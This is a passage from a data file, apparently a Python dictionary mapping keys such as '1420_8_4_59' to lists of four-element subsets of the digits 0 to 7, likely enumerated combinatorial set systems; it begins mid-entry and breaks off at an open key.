['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1419_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1420_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1421_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1422_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1423_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1424_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1425_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1426_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1427_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1428_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1429_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1430_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1431_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1432_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1433_8_4_57' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1434_8_4_57' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','2567','4567'] , '1435_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1436_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1437_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1438_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1439_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1440_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1441_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1442_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1443_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1444_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1445_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1446_8_4_59' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1447_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1448_8_4_53' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0136','0236','1236','0346','1346','2346','0356','1356','2356','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1449_8_4_58' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','1257','0357','1357','2357','1457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1450_8_4_58' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1451_8_4_58' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1452_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1453_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','1247','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1454_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1455_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1456_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1457_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1458_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','2567','3567','4567'] , '1459_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1460_8_4_62' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1461_8_4_62' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1462_8_4_62' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1463_8_4_62' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1464_8_4_62' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1465_8_4_62' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1466_8_4_62' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1467_8_4_60' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1468_8_4_62' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1469_8_4_62' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1470_8_4_60' : ['0123','0134','1234','0125','0135','0235','1235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','2567','4567'] , '1471_8_4_59' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1472_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','1236','0146','1246','1346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1473_8_4_61' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1474_8_4_61' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1475_8_4_61' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1476_8_4_63' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1477_8_4_63' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1478_8_4_63' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1479_8_4_63' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1480_8_4_62' : ['0123','0134','1234','0135','0235','1235','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1481_8_4_64' : ['0123','0134','1234','0125','0135','0235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1482_8_4_64' : ['0123','0134','1234','0125','0135','0235','1235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1483_8_4_65' : ['0123','0134','1234','0125','0135','0235','1235','0145','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1484_8_4_56' : ['0123','0124','0234','1234','0125','0135','0235','0145','1245','0345','1345','2345','0136','0236','1236','0146','0246','1246','0346','1346','0156','0256','1256','1356','2356','0456','2456','3456','0127','0137','1237','0147','0247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1485_8_4_57' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1486_8_4_58' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1487_8_4_58' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1488_8_4_35' : ['0123','0124','0234','1234','0125','0235','1235','0245','1245','2345','0126','0236','1236','0246','1246','2346','0256','1256','2356','2456','0127','0237','1237','0247','1247','2347','0257','1257','2357','2457','0267','1267','2367','2467','2567'] , '1489_8_4_59' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1490_8_4_59' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1491_8_4_59' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1492_8_4_59' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1493_8_4_59' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1494_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1495_8_4_60' : 